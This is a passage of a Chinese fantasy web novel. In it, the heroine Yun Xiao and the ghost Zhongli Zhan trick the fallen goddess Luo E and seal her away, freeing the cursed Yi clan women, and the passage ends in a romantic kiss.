即便她们不是人人都遇见过爱人,可这世上只要是有一颗心,只要是活着的人,谁能无情呢? 她们都知道神女峰下有个牢笼,几乎每年都要去清理里头被冻僵的尸体,看着曾经陪伴在自己身边鲜活的女子们,因为离开就变成了锦仙山的叛徒,迅速凋零,最终英年早逝。 她们也会唏嘘,也会难过。 自然有人是麻木的,但麻木的人生,也不该是她们的人生,她们都是被动选择,无路可走。 苑娘尖叫道:“离开这座山,你们又能去哪儿?!” “随便去哪儿都好啊!”琳娘道:“随便去哪儿,我们未必要去喜欢别人,未必非要得到他人的爱!哪怕换一个地方,仍然是我们依偎在一起生活,可至少那里没有人会阻拦我们的脚步,没有日复一日的噩梦提醒我们,我们生来就有错,我们生来就是恶。” 是吗? 随便去哪儿都好吗? 她们真的能走得掉吗? 苑娘不走,反正她没什么好失去的,她也不会让她们走! “你们都是想男人想疯了!我不会让你们执迷不悟下去的!” 苑娘转身朝神女峰的火海奔去,她能看出那场火奇特,便是这些从天而降的冰雪也无法将其扑灭。她要拦住那些女人的脚步,让她们永远安分地留在山中,陪着她,陪着神女一起! 将这一切都看在眼里的云绡,缓缓朝洛娥露出一抹微笑。 她心中发冷,也知道苑娘其实是被锦仙山上的规则逼得偏执癫狂,与洛娥同化,可仍然无法理解这种人的疯。 云绡想,大约她真不算恶人,所以向来有仇报仇,即便手段狠辣,可也从未有过主动加害他人的心思。 这世上比她可怕的人比比皆是,那些扭曲的心烂成了淤泥,发臭发酸,就像她眼前这假装冰清玉洁的神女一样。 - 仲卿和徐容靳才将那些虚弱的旖族女带到锦仙山下,便感受到身后阵阵冷风袭来。 他回头看去一眼,眼见着花团锦簇绿树成荫的山川在他眼前如同一张枯黄的老旧画卷浸入水中,一点点剥落出了它的真实面貌。 这世上哪儿有那么多花园仙境? 寒风萧索,山水冰冻,丛林枯萎,山石也变成了冰砖,从神女峰下开始,整座锦仙山都在以肉眼可见的速度化作一座毫无生机的冰山。 唯有远处的神女峰还在燃烧一簇火焰,直通天际一般,照亮山上所有的变化。 山峰周围形成的低谷,与真实世界割裂开的悬崖就在前方,仲卿本可带着这些人先走,可他又想起了云绡的话,到底是耐下性子在原地设了阵,静待着。 徐容靳一直摸着小野鸡的头,左边摸摸右边摸摸,借着安抚小野鸡的举动来安抚自己内心的不安。 他悄悄朝神女峰的方向看去一眼,见那通天的火势在冰雪中恣意燃烧,突然就像是有什么画面在他眼前闪过,扰得他心神不宁。 水荷和陆梨也顺着他的视线看去,她们亲眼见到徐容靳放火烧山,那张火符厉害得紧,二人也只是喃喃了一句:“这火怎么灭不掉?” ——这火怎么灭不掉?! ——我本就是冲着烧死你们来的,又如何能让它轻易灭去? ——徐容棋!你是不是疯了?! 大火中燃烧的人影轮廓难辨,他的皮肤早就烧得焦黑又溃烂,沙哑的声音一遍遍在徐容靳的脑海中响起,告诉他要离开,要忘掉这一切。 可同样的声音也在提醒他,有些东西很重要,那或许能保命,让他千万别忘记! “云涉、张栩、徐潮、罗锦天、沈旨、谢尧钰、司徒音璃……” 还在担忧云绡,焦急地原地直跺脚的仲卿突然听到了徐容靳的喃喃自语,他瞪大双眼蹲在徐容靳面前,捧起徐容靳的脑袋盯着他的嘴看。 那串人名,又从头开始重复。 云涉,是已经死去的显帝的名字,张栩仲卿在京都也有听说,是人族氏族张家的家主,那人不在连玉州,而在淮中,仲卿不知对方是否已经出事死了。 徐潮则是尾人族若川的徐长老,人现在半死不活地躺着,也未必能醒来。 罗锦天仲卿不曾听过,沈旨和司徒音璃都是他湖族的长老,当初他救徐容靳,正是因为听到了徐容靳提起了这二人的名字。 只是彼时徐容靳的声音很低,仲卿也想过是否是自己听错了,眼下他已经将人名重复了三遍,仲卿十分断定他没听错,徐容靳就是知道些什么! 仲卿出声询问:“你想起什么了?” 徐容靳像是突然被打断了梦魇,那双混沌的眼清明之后带着泪水,望向仲卿时哇地一声哭出来,抱着仲卿就喊:“大哥!大哥!好多虫子,好多好多虫子!” 神鬼蛊。 仲卿如今衣裳腋下的夹层里还藏着两颗一死一活。 若不是因为钟离湛的火符久烧不灭,也不会让徐容靳想起那天彻底改变他命运的大火。 可接下来不论仲卿怎么问徐容靳都说他不记得了,他想不起来,甚至连那串人名也无法重复,还说脑袋疼,要大哥给他吹吹。 仲卿对着徐容靳的脑袋吹了两口气,徐容靳好似就被安抚住了,抱着仲卿的胳膊不撒手,闭上眼说害怕鬼,要睡觉,睡着了鬼就不回来找他了。 徐容靳并未睡着,他只是才闭上一会儿眼睛,整座锦仙山就开始从脚下震动,像是地龙翻身,让人站都站不稳。 仲卿蹙紧眉头朝那面浮雕着神女画像的山壁看去,只见夜风仿佛拥有了刀刃,几番抹平了山壁上钟离湛曾留下来的文字,有什么庞然大物要挣脱而出。 记载在史书上的痕迹,一一从仲卿眼前被抹去。 他看见了神女的身躯在山壁上扭曲,逐渐汇聚成了一个披头散发满身纯白,五官却很模糊的女子。 那是一个庞然大物,如同通天的巨人,撕心裂肺的嚎叫声与夜风的呼啸声融合在一起,震慑所有奔向活命的人。 仲卿看见了山中不断往外跑的女子,其中还有琳娘带着一些少女,从另一边逃生。 她们都看见了用力挣脱雪山的巨人,也听到了那尖锐的鸣叫,便是被震颤导致摔地不起,她们也要用自己的身体手脚并用地爬出要吞没她们的牢笼。 天将破晓,却未破晓,本该升起的太阳迟迟未见,深蓝色的天空中仿佛有一团小小的火焰,橙红色的,几乎淹没在风雪里。 仲卿看得见,那是云绡! 云绡手捏御风符,飞在了山壁前方,她眼见着钟离湛曾经给洛娥设下的封印被她拼尽全力挣脱,这里面也有云绡的几分功劳。 两千多年,钟离湛的封印都模糊到让人以为那是他给洛娥写的情诗,难辨字迹。 今日不破,来日还是要破,倒不如今日破个彻底。 云绡朝不远处的钟离湛看去,钟离湛无法离开她身体十步远,而云绡此刻御风飞行的角度巧妙,恰好能将大半的锦仙山尽看眼底。 两方视线相撞,钟离湛心跳漏了一拍后又猛然加速,他大约知道云绡想做什么了。 此刻,云绡面朝着那已经半边身体挣脱山壁的巨人,看着她风雪化作的发丝在山中飞舞,那双空洞的眼中逐渐生出了渴望和痴狂,凄厉的叫声汇聚了洛娥全部的力量。 “太好了!洛娥!”云绡鼓舞她:“我看见你了,我终于看见完整的你了!这才是你,高高在上,美得令人心惊!” “祁山鹤……不,我应当叫他父亲。父亲曾与我说过,你是这世上最美丽的女子,令他心动,令他沉醉!若非阴差阳错,你们早就应该相守万万年,永远不分开的!” 云绡抹去眼角激动的眼泪,一边操纵着御风符往山外靠近,一边朝洛娥伸手:“你果然如同父亲说的那样,这世上无人能与你比拟……洛娥,我的母亲,我们挣脱枷锁,离开这里,走,去找回我们的力量,等待与父亲重逢!” 一声声的父亲与母亲,喊得洛娥如痴如醉。 压在旖族女子身上与心上的鬼魅,终于在这一刻现形。 一簇橙红色的火,将她往山川外引去。 冰霜雕刻的纯白巨人,一步踏出锦仙山,她的声音支离破碎,纷杂的情绪都在叫喊着祁山鹤的名字,仿佛只要走出这座山,她就能立刻见到祁山鹤! 所有人都看呆了,他们看见一座山,化成了一个人,而那个人是个披头散发无比癫狂的疯子,是与这世间格格不入的可怕又诡异的存在。 风霜遮蔽了云绡冰冷的视线,她的声音仍然温柔,如同蛊惑,说出的每一个字都直戳洛娥的心中,为她编造出一段佳梦。 离云绡不远处的钟离湛在看见这一幕时,恍惚有些画面在他脑海中变得清晰,那些被他遗忘了的记忆翻涌,仍然模糊,却又不断闪回。 当初钟离湛未能向世人展示的朱木简上的真相,在这一刻,在云绡的呼喊声中露出了冰山一角。 地动山摇间,让世人相信,这世上真的有神仙,而神仙,不是他们想象中的那样美好。 巨人的脚步踏入冰面,一只伸长的手往山崖边探去。 这片凡人难以跨越的沟壑和悬崖,也不过才是到达洛娥胸前的深坑,只要她的手搭上悬崖上方的地面,她就能一跃而起,彻底自由! 云绡率先一步踏上了悬崖上方,踩在了如同莲花一般深刻的阵法之外,她望着近在咫尺的冰手,只等洛娥再朝前一步。 钟离湛忽而捂着心口,另一只手有捂住了额头,疼痛让他拥有片刻清醒,也大约是因为他耗费心力设下的封印被破,有些残破的真相露出水面。 “不能让她走!”钟离湛凑到云绡身边。 云绡一怔:“我能骗她解除对旖族女子身上的诅咒。” “不!被踢出棋局之人永远回不去棋局之上,她已经算不上神仙了,自然也没办法为旖族女子解咒。”钟离湛说完这话,脊骨处像是有一把剑硬生生地穿过一般,疼得他几乎直不起腰来! 云绡明白过来,脸色难看,便又使着御风符朝悬崖之下莲花阵的印记上空飞去,张口便对着一个方向喊:“祁山鹤!你来了!” 洛娥闻声,即将触碰悬崖的手又收了回去,兴奋又期待地朝云绡发出声音的方向跑去两步。 巨人足下金光大现,莲瓣上的咒文闪烁着夺目的光泽,洛娥这两步彻底踩入了钟离湛曾设下的矩阵之中。 冰面下的反咒一寸寸发出嗡鸣,妄图往山外跑的旖族女子们皆趴跪在反咒之上。 “既然她没用了,那就让她自食恶果。” 云绡喃喃出一句咒语,钟离湛就在她的身后,看她起熟悉的结印手势,看她凭空画出熟悉的符文咒印,听着她口中的低语。 他记起了一些。 记得自己也曾站在这里,迎风招雪,刻咒画符,封印作恶世间的妖邪。 第75章 一个叫我女儿的,眼下…… 经此一劫,从锦仙山中出去的人恐怕此生都忘不掉祁山鹤的名字。 此刻化作真容纯白巨人的洛娥,向着云绡指向的方向并未看见祁山鹤后又开始发疯了,令她更加癫狂的是她的双脚正踩在钟离湛留下的莲花矩阵中。 反咒,是对应双方,如有一方向另一方施展咒语,反咒则会令那咒语自噬其身。 所有旖族女的身体里都有与生俱来的咒语,那是洛娥给她们的诅咒,让她们本来被赐予的被爱的天赋,变成了爱而不得。 孽债其实早在很久以前就回馈到洛娥自身了,只是洛娥和被她诅咒的旖族女们共处反咒矩阵之上,一切法力倒转。 旖族女对洛娥的信仰,反而成了剥夺洛娥力量的刀刃。 巨大的冰雪美人身上裂开了细小的裂痕,裂痕崩开了晶莹剔透的雪花飘零而下,那些雪花落在旖族女子的身上,成了奇迹的特赦。 所有施加在她们身上的咒语,也在这一刻化为乌有。 云绡身前符咒化作的光阵尚未成型,洛娥就已经发现了脚下反咒对她的影响。她连连后退,匆忙地想要呼唤云绡,可却发现她从来都不知道云绡的名字。 “女儿,我的女儿!你告诉我祁山鹤在哪儿?” 此刻她脚下莲花矩阵绽放的光芒耀眼夺目,便是锦仙山的那一头也朝天迸射出一道道光柱,只要洛娥还在矩阵之内,不论她怎么后退也无法消解反咒对她的伤害。 洛娥终于慌了,云绡也终于笑了。 她是听到洛娥喊她女儿时笑的。 我的女儿? 云绡笑声并不大,洛娥却立刻捕捉到了。 被剥夺的力量让她的身体千疮百孔,她已经耗费了太多力气冲破钟离湛设下的封印,如今又遭反咒反噬,那双本就不再清明的眼变得更加浑浊,视线也模糊不堪。 因为云绡这一声笑,洛娥顺着云绡的方向阔步而来,她的声音越发慌乱,可仍然没有怀疑到云绡的身上。 “我的女儿!你在哪里?快带我去见祁山鹤!” 云绡的眼里满是厌恶,看着洛娥如今这痴傻疯狂的模样,听着洛娥喊她女儿,她只觉得恶心到胃里翻涌,她觉得洛娥简直和皇宫里那个被称作妍妃的疯女人一模一样。 “上一个叫我女儿的,眼下怕已经尸骨无存了呢。” 说完这话,云绡手中的封印矩阵也终于拼凑完整。 这些都是她根据记忆绘画而来,可毕竟云绡身体承担不起太多灵力,好在洛娥如今也不是全盛时期,两千多年不仅风化了钟离湛的封印,也消解了洛娥的力量。 洛娥已经足够虚脱了,在感受到一阵扑面而来的威压时,洛娥的瞳孔震颤,双目陡然睁大。一股力量化作了飓风朝云绡的方向冲过去,而那庞然大物一样的身躯被金光矩阵压回了山川,落魄地倒下。 “你骗我!” “你骗我——” 洛娥的声音在这一刻变得凄厉无比,像是风刀要刮伤所有人的耳朵,众人纷纷捂住双耳,云绡也被这一股劲风吹得直朝悬崖山壁撞过去。 腰间被强壮有力的手臂拦住,熟悉的气息扑面而来。 钟离湛将云绡揽入怀中,他一只手护着云绡的腰背,另一只手护住她的后脑,厉风成爪,一人一魂还是撞上了悬崖边缘。 不过有钟离湛在,云绡除了被那声音喊得耳鸣心闷,也没觉得多疼。 照理来说,钟离湛不应当会难以抵挡洛娥这一击,云绡侧身看去,瞧见钟离湛的脸色居然比她的还要难看。 “你怎么了?!”她握住钟离湛的手。 他的魂魄一直都是热的,可这一刻却像是被火燃烧了一样发烫,云绡的手指碰上去都觉得指腹被烫得发麻。 “钟离湛!”云绡向来很能忍疼,所以握着钟离湛的手不肯放开,心中升起的慌乱让她无暇顾及其他,双眼直勾勾地盯着钟离湛的脸,不放过他任何细微的变化。 表皮烧焦的味道在寒风中尤为明显,钟离湛于头脑与心口的疼痛中缓和了片刻,再看云绡被烫得发红的掌心,心头一疼,连忙道:“松开!” “我不!”这一点疼,云绡根本没放在眼里,重要的是钟离湛怎么了,他怎么会这么烫? “绡绡,松开。”钟离湛想要抽回自己的手,可云绡见他挣扎,甚至整个人扑过来要抱住他,钟离湛立刻不敢动了。 寒风吹动云绡的发丝,就连飘到他魂魄周围的头发都被烧焦,云绡越看越是心惊,整个人如同呆滞了一样站着不动,唯有双手抓得他很紧很用力。 钟离湛轻叹:“我没事,别担心,我不会离开你。” 他说出这话,云绡才终于有了反应。 那双漂亮的圆眼动了动,再望向他,明明白白的情绪就写在了她的眸中。她怕他出现什么变故,怕他一缕幽魂承受不住天地正气,怕这是他魂飞魄散前的征兆。 钟离湛只是想起了一些事,一些好似是他濒死前的画面不断在脑海中重复,那捆缚人的魂魄,让人魂飞魄散的恶毒咒文刻满了宫殿,熊熊烈火燃烧着他的身躯。 两千多年前烧毁了他宫殿的大火,于这一刻在他的心中再度燃起。 钟离湛一直觉得,从天而降贯穿了他脊骨的斩魂剑从未脱离过他的身躯,那股剑意刻在了他的灵魂深处。 所以在他回想起他曾忘记的重要事情时,那把剑就像是拥有了自己的意识一般化作封印,压制住他的灵魂,压制住他的回忆。 偏偏,他就是不想像两千多年前一样,屈服于这股压制之下,他之所以能再度醒过来,何尝不是一次挣脱身死的契机? 钟离湛越是与脊骨的疼痛抗衡,他就越是不清醒,灵魂的温度就更加灼热。 他想让云绡放开他,可身体炙热的温度正在燃烧他的意志,钟离湛难以保持清醒,在感受到云绡身上传来的些许凉意之后,只想要将她拥抱住,将他融化在自己的怀中。 一道带着杀气的冷意从远处袭来,寒风带动飘零的雪,直朝云绡的方向冲刺。 云绡将钟离湛握得太紧,他没能抽回自己的手,便只能连带着她整个人翻转身位,让那一团如同磐石一般坚硬的冰块朝他的脊骨砸去。 无法触碰这世间一切的魂魄,在这一刻于身后形成了金光符盾,只听见砰地一声,巨大的冰石碎裂成细密的沙。 瞬间的冷,倒是消解了几分钟离湛魂魄的温度,叫他清醒了几分。 云绡震惊地看向钟离湛,她意外他的身体能够触碰到冰雪。 可还没等她开口问,云绡便察觉到一股钻心的疼从脊骨的位置传来,疼得她连抽气都做不到,眼前一黑整个人便彻底无力地倒在地上。 云绡没晕,可她疼得短时间内满身是汗,双手松开了钟离湛的手臂。 她瞧见钟离湛半透的魂魄正中央,位于他背后的脊骨处,嵌入骨髓的一把泛着银光的剑痕正在嗡鸣震颤。 透过钟离湛的魂魄,云绡看见了悬崖之下的雪山。 被巨人压倒的雪山坍塌大半,洛娥的身上背负着云绡画下的封印,她没能起身。 可不得不说云绡的力量与洛娥相差太多,瘦死的骆驼比马大,洛娥就算回不去神仙的身份,却也非此间凡人可以比肩的。 金文矩阵的光芒之下,洛娥的身躯仍然在融化,与雪山融合,但速度太慢了。 她拼死也要将欺骗她的人拉入地狱,那一声声的哭喊声响彻山谷,一边喊着祁山鹤,一边喊着负心人,喊着天下男人皆薄情,喊她要这世上所有无情之人痛苦一生。 那一声声如同泣血的诅咒,叫所有听见的人都毛骨悚然。 钟离湛忍着脊骨的疼,转身面朝洛娥,一手比结印,一手绘符咒。 与云绡方才的起势一般无二。 云绡是学他的,有七分相似,云绡学不会的,是钟离湛与生俱来的特殊,和他即便为魂魄也依旧能压制一名堕仙的灵炁。 无数冰霜碎石从山川往下滚落,尖叫声四起。 钟离湛在试图重新封印洛娥,云绡也忍着疼手足并用地爬到了悬崖边,一眼就看见了与旖族 女格格不入的两个人。 一高一瘦,一老一壮。 “还在等什么?!等她弄死你们吗?!跑啊!” 云绡的声音被风雪和尖叫声吞没,她啧了声,咬破手指以血痕凭空画了一张传音符。 少女清灵的声音在悬崖山谷中响起。 “嫌命长啊?!快跑!” 这一声终于被还在山下的人听见,仲卿倒是能看出钟离湛施展封印的轨迹,沿着安全的地段带着旖族女人往山下走。 他原本只带着从神女峰底下救出来的那些老弱病残,结果琳娘带出来的那些人也都跟着他,渐渐的……整座锦仙山跑出来还活着的旖族女子纷纷跟上了仲卿,生怕被他丢下。 洛娥能看见那些人离开的身影,曾经将她奉若神明,于她脊背上生活的信徒们一个个头也不回地离她而去。 洛娥深知她们与过去不一样了,她们不再信奉她的那一套规则,她们要挣脱她,去奔向她永远也不会拥有的幸福。 只要想到这一点,洛娥就不甘,就痛苦,她怎能允许?! “不!不!!不许走!!!” “都不许走!不许走!这世上的男人都是混蛋,是骗子!你们难道都忘了吗?忘了他们带给你们的痛苦,忘了他们负心薄情了吗?!” “我是在救你们啊!让他们爱上你,再让他们的血肉造就你!这是我对你们的赐福,你们怎么能背弃自己的神明!” 云绡听着她那些疯话,想起钟离湛曾说过操纵棋局的,也不尽有脑子。 她仍然趴在悬崖边,透过前方钟离湛飞扬的发丝看向那身体半边已经化作雪山的洛娥,忍住作呕的欲望,重新咬破已经愈合的手指,传音符不要血似的一张张飞印了出去。 “说得冠冕堂皇,你不过是嫉妒罢了!你是在伤害男人吗?我只觉得你太爱男人了,又爱男人,又嫉恨那些得到男人真爱的女人,所以要用她们痛失所爱的诅咒,让她们体会如你一般的痛苦罢了!” “不,她们至少得到过真爱,你得到过什么?像你这种恶毒恶心恶臭的灵魂,也配如高洁雪山?”云绡转而对钟离湛道:“能不能给她弄成臭水沟?让人永远无法踏足,离近百里都能嗅到臭味!” 钟离湛:“……” 他可疼了啊,她难道都不疼吗? 他忍着疼在这里封印洛娥,她居然还能谩骂。 云绡继续骂:“你知道祁山鹤为何要离开你吗?因为他说你身上都是血腥味,是四万条人命的味道,你身上的臭味染得他都洗不掉,所以他要离开你!离你远远的!不愿与你这种浑身血腥杀戮之辈同流合污!” 洛娥怔住,又疯狂摆首:“不,不,不是!不是的!” 钟离湛眉头一蹙,倒是发现了破绽所在,他回眸朝趴在悬崖边上一只手背过去捂着自己脊骨的少女看去。 她如风雪中永不熄灭的火光,骂起人来也明艳四射,与她乖巧的长相完全不同。 云绡从不做无意义的举动,她知道钟离湛如今承受着的痛苦不比她少,他的力量也大不如前,想要封印洛娥总得先让洛娥自乱阵脚。 “神女?笑掉人大牙了,你就是妖魔鬼怪,魑魅魍魉!是吃人不吐骨头的怪物!” 少女的声音震慑山川,便是已经走到悬崖脚下的仲卿等人也都呆住了。 云绡骂得都咬破第三根手指了,钟离湛终于道:“可以了,绡绡。” 他脊骨处剑鸣嗡嗡,封印结合现成的莲花矩阵,四面八方朝洛娥逼近。 数张符光咒印发着金色的光辉,瞬间分散入莲花矩阵的花瓣中,再于花瓣上方立成通天金墙,墙上咒文如同金沙流转。 光墙同时合并,化作数到剑影,一切也不过是眨眼间,只听见一声铿锵的撞击声,金光炸裂,化作点点浮尘。 巨人消失了,锦仙山雪峰犹在,安静竖立。 第76章 它像一个仰倒却又狰狞的巨人,原来被誉为神女峰的地方,也成了一只探出又永远握不住想要的一切的鬼爪。 锦仙山于历史中改名为鬼女山,在这一刻从山形中有了具体的模样。 迟迟未升起的太阳破开天际,伴随着雪花一起漂浮在空中的金色浮尘尚未散去,又被阳光照射出最后一点灿然的光。 仲卿的阵法守住了绝大部分想要活命也跑出锦仙山的旖族人,她们的身边全是从天而降的冰块碎石,几乎每个人的身上都在地动山摇中留下了伤口,但那些伤于此刻而言已经不再重要。 细微的疼痛提醒着她们,她们活过来了。 - 寒风退去,初晨的阳光照洒大地,悬崖之上,雪花冰晶融化成了一粒粒水珠,贴服在云绡的身上和发丝上。 如同雾气凝成的水珠连最后一丝凉意也感受不到了。 云绡暂且还动不了,她身后脊骨处传来的疼痛简直像是铁锥在用力凿穿她。 云绡如同瘫痪了一样,方才那些骂人的话喊出来都已经用尽了她全部力气,也借着这些话疏散几分因为疼痛而起的躁郁。 钟离湛确定周围无碍了,这才回到了悬崖边,单手一捞便将云绡搂在怀中。 往日断腿断手也只是皱皱眉头的姑娘这个时候脸色苍白,一身也不知是露水还是汗水,半湿的衣裳贴在身上,发丝卷曲地粘着脸侧,像只小猫似的疼哼着。 云绡固然疼,她也猜到了这股疼其实是因为她与钟离湛的羁绊导致的。 她若疼上一分,说不定钟离湛得疼上十分。 人之脊骨是命脉,云绡因为脊骨的疼半点也不敢动,钟离湛居然还能单手抱着她缓缓朝安全的,没有被雪水打湿的山林里走去。 云绡依偎在他的怀中,听着他紊乱的心跳声,一只手紧紧地握着钟离湛扣住她膝弯的手指,感受着他不断上升的体温,心中满是担忧。 钟离湛的背后受到洛娥的一击之后他的体温倒是暂且缓和了下来,后来施咒将洛娥封印,他也能感受到那股来自于洛娥本身的力量,冰冷的寒霜带着畏怯。 洛娥仰倒在地面上,所有人都不曾看见她临死前的模样,那于周围人不过是一声铿锵的撞击声便结束了的危机,在钟离湛的眼里却被放慢了百倍。 洛娥那一声凄厉的尖叫,其实是她彻底沉睡前说了一句话。 她看向钟离湛的双眼中留下的最后情绪,终于不再是对祁山鹤的执着,而是对自己结局和对钟离湛的恐惧。 魂魄重新升温,脊骨处的疼痛一寸一寸地磨着他的神经,钟离湛不敢抱云绡太久,所以将她带到了暂且安全的环境后,便又用力地双手拥抱了她。 他将脸埋在云绡的肩窝处,滚烫的身体在她的脸侧留下了像是被热气熏出来的红痕。 傻姑娘也不喊疼,还紧紧地拽着他的手指。 钟离湛深嗅了一下她身上浅浅的馨香,不知为何,钟离湛觉得那是桃子味的。 他按住她的肩伏在她的耳边低语一句:“别动,我不走。” 云绡信了,才放松,下一刻钟离湛就起身离开了她。 “骗子!大骗子!”云绡的反应够快,在说出这话时已经伸手要去抓钟离湛,可惜她的手指穿过了他飞扬的袖摆,眼见着钟离湛离她一大截远。 “钟离湛!” 云绡单手撑地就要爬起来,钟离湛还没走远呢,见她如此眉头紧锁,无奈又心疼道:“真不走,绡绡,我也只能离开你十步,你忘了?” 云绡想起来了,她方才那一瞬是忘了,她感受到钟离湛魂魄的不对劲,她怕钟离湛会消失。 这一次的害怕与在若川上,钟离湛第一次开启九星连月阵时不同。那时她是有些可惜的,她知道自己依赖钟离湛,想一想却也能接受没有 钟离湛在的日子。 彼时她更多的是考虑自己。 可这次她就是心慌意乱,就是忍不住胡思乱想,她甚至不敢去猜测他在自己眼前魂飞魄散的后果。 云绡仍然依赖钟离湛,可还有一股情绪在她的心底疯狂地叫嚣着,那远远超脱依赖,却又包含依赖,牵动着她一切喜怒哀乐的感情,云绡知道那是什么。 十步远。 云绡以前觉得这几乎就等同于将钟离湛绑在了她的身边,她们时时刻刻不能分开,是这世上最亲近的两个人。 可现在云绡却觉得十步距离原来这么远。 钟离湛一直都没有离开过她超过五步,若走,他们并肩,若停,他也会俯身迁就她,他会抱着她睡觉,他会蹲在她的面前,以一种带着些许仰视的姿势与她说话。 看似十步禁锢住了钟离湛,可其实他一直都是心甘情愿地挨着她的。 钟离湛的十步,云绡大约要走上十六步才行,这么一想他离她又更远了。 云绡的眼眶湿润,她抬起手擦掉落下来的眼泪,看着钟离湛,担忧得心跳加速,声音也颤抖地开口:“你要干什么?” 钟离湛抬起一只手,对着云绡靠坐着的地方周围画了几道,便有凌厉的风钉在她身边的地面上。 地面深凹的土刻成了咒文,咒文形成了一个保护圈,将云绡完全护在其中了,他又对云绡施展咒语,屏蔽了她的五感。 云绡眼前一黑,周围连风声都止住了,她连忙开口:“不要!我要看见!我要看见!” 云绡连自己的声音都听不到,她的心中满是惶恐:“钟离湛,不让我看见也行,我要听见,至少让我听见你的声音!” 钟离湛看她又开始哭了,心头的酸痛叫他头脑有那么一瞬的不清醒。 他有些无奈,也有些好奇云绡究竟在九星连月阵中看见了什么,回来之后便变得很会哭,每一次流眼泪都让他手足无措,心里跟着难受。 他不是很会哄女孩儿的,除了抱抱她,亲亲她,说几句软话,其他的他就不会了。 但这个时候连亲亲她抱抱她也做不到了。 有那咒阵在,她无法离开,屏蔽了五感,至少也让她感受不到脊骨处与他羁绊相连的疼痛。 不让她看见,是钟离湛也不知道自己接下来的举动成败如何,总归不太好看就是了。 至于不让她听见…… 薄唇轻启,低吟咒语,暗金色的咒文顺着钟离湛的足下衣袂开始往上攀爬,如同一株疯狂生长的藤曼花枝,攀长到他身体的每一寸皮肤每一条脉络上。 咒文钻入他灵魂铸造的血肉中,沿着他的四肢百骸像是血液般流淌,最终汇聚于他身后的脊骨处。 他看不见,但能感受得到。 那股压制着他的力量,就在他的脊骨处疯狂地躁动和鸣叫。 钟离湛闭上双眼,让那些咒文沿着他身体中所有的灵魂缝隙钻了进去,暗金色的符文在触碰到剑痕的时候便立刻贴了上去。 他的身体中已经没有剑了,剑意却永远留在了那里。 剑与骨相融,骨剑成了束缚着他灵魂的器皿,骨剑被云绡拔出来时,分辨不出哪里是剑,哪里是骨,所以钟离湛也不曾看见那把剑上的刻文。 那刻文就像是对他灵魂的诅咒,非但要叫他肉、身永远封印,还要压制他灵魂的力量。 钟离湛的身体很烫,烫到就像是回到了他被烈火灼烧的那一夜,他不知自己为何会落到那样的境地,却能想起凌乱的片段。 斩魂剑将他困在了原地,而他是被烈火燃烧身躯,活活烧死的。 所以即便他是鬼,是一缕幽魂,魂魄仍然滚烫,永远记住了火焰的温度。 回想起洛娥被他封印,彻底沉睡前与钟离湛短暂的交锋。 她在那一刻看见了钟离湛,亦或者说,她看见了钟离湛脊骨处剑意上的刻痕,她认出了那道刻痕,知道刻痕上的诅咒代表了什么用意。 洛娥看见剑痕,知道钟离湛就在这里,她感受到了两千余年前同样的可怕气息,但这一次她的恐惧比以往更甚。 她知道她逃不掉,她的结局就像是云绡为她编造的谎言一样,永远沉睡,再于沉睡中彻底化作一座平凡的山川。 “钟离湛,人是不能与神比肩的,而你,永远也无法成为神。” 她以她狭隘的心思,以为这是对钟离湛的威胁,以为钟离湛会暂停封印问她如何能成为神。 可事实上钟离湛连多余的一眼都不愿意给她,就让她在自己的妄想和恐惧中消失于天地间。 至于能否成神? 钟离湛不禁轻叹,他还真的没想过。 暗金色的咒文彻底填满了他脊骨处的剑痕,钟离湛也借着咒文看清楚了他身体里的剑意究竟是什么模样。咒文附着在剑意之上,钻入了剑意之中,在钟离湛的催动下于剑意融为一体。 魂魄是不会流汗的,可钟离湛还是感受到自己就像是要被冷汗淹没了一般,疼到难以呼吸,疼到他几乎要站不住,疼到嘶哑的声音从他的齿缝中泄出。 喉间呼出如同野兽的嘶吼,钟离湛的魂魄颜色愈发暗淡,可他的眼神却越来越坚定。 他抬起手,一把握住了脖颈后方凝聚的咒文。 是!他是握不住剑意,他是无法拔出这把剑与他灵魂的羁绊,两千余年,骨与剑早就融为一体,那这把剑……凭什么就为杀他之人所用? 拥有剑的,如今是他不是? 反手袖摆垂落至手肘,钟离湛的手背与臂膀上青筋隆起,他用尽全身的力量,是疼痛也是不甘,是愤怒也是不平。 利剑磨过脊骨,远比当初他还在禁地中感受的要疼痛万倍,拔出一寸,便叫他颤抖着几乎要跪下。 可钟离湛站得很直,他抬起另一只手,没有停歇,一鼓作气。 “啊——” 他的身躯是死了,可他的灵魂还活着。 他的灵魂没有被封印在百里红泥之中,他不会任由一把剑,阻断他回想起过去的一切,他不会任由用这把剑杀死他的人,看尽他的笑话,稳坐云端。 剑锋擦过长发,暗金色的咒文彻底与剑意融合,钟离湛拔出了这把钉在了他灵魂上的剑,剑鸣声嗡嗡,上面的刻文也被咒文填满,彻底消散。 “诛、神。” 钟离湛看着那模糊不堪的刻文转瞬即逝,嘴角露出一抹讽刺的笑。 他松开了手,剑却未落地,而是顺着他的手心化作片片飞舞的咒文,任由他指示变换。 咒文如叶似刀,顺着他的指尖流转,钟离湛一拂衣袖,暗金色似飞花散去,敛藏无踪。 他抬头看向晴朗的天空,太阳高升,阳光刺眼,可在这片天之上,踩着云层俯瞰苍生的地方,还有一双双无形的罪恶的手,妄图操纵天下命运。 - 云绡在努力地呼吸,她被钟离湛屏蔽了五感,没有任何感受,也不敢随意动弹,所以不知究竟过去了多少时间。 像是一天,也像是一个月,但按照云绡心中默念的数来看,应当是两个时辰。 忽而一道熟悉的气息钻入呼吸中,紧接着柔软的触觉撞上了她的脸,在云绡的泪痕上落下一吻后,几乎是霸道又粗鲁地压在了她的唇上。 第77章 云绡的双眼骤睁,可她的视线还未恢复,一切感官都被放大。 她想喊钟离湛的名字,刚张嘴却让吻她的人有可趁之机,湿热的唇齿几乎要将她的呼吸吞没,长驱直入。 大掌按住云绡的后脑,指腹摩梭着她的脖颈,云绡被迫抬头。 黑暗终于被驱散,斑斓的色彩像是浮动的光点,拼凑出近在咫尺的人。 她看见了钟离湛的眉眼,阳光透过他的魂魄将一切都照得朦胧,钟离湛的眉头微微蹙起,闭上的狐狸眼长睫颤动。 即便看不见他的眼眸,云绡也能听到他粗重的呼吸,通过他绯红的眼尾看出他的动情。 钟离湛的另一只手抚上了云绡的腰肢,粗 粝的指腹摩梭着她的腰窝,像是一股电流顺着他的指尖流入云绡的血液之中,她的身体不受控地颤抖着。 云绡的双臂勾住钟离湛的肩,她的呼吸急促,心跳凌乱,头脑一片混沌,本能地贴近,去迎合。 呼吸声在唇舌变换角度时,似乎有一下短促的、沉溺的喟叹。 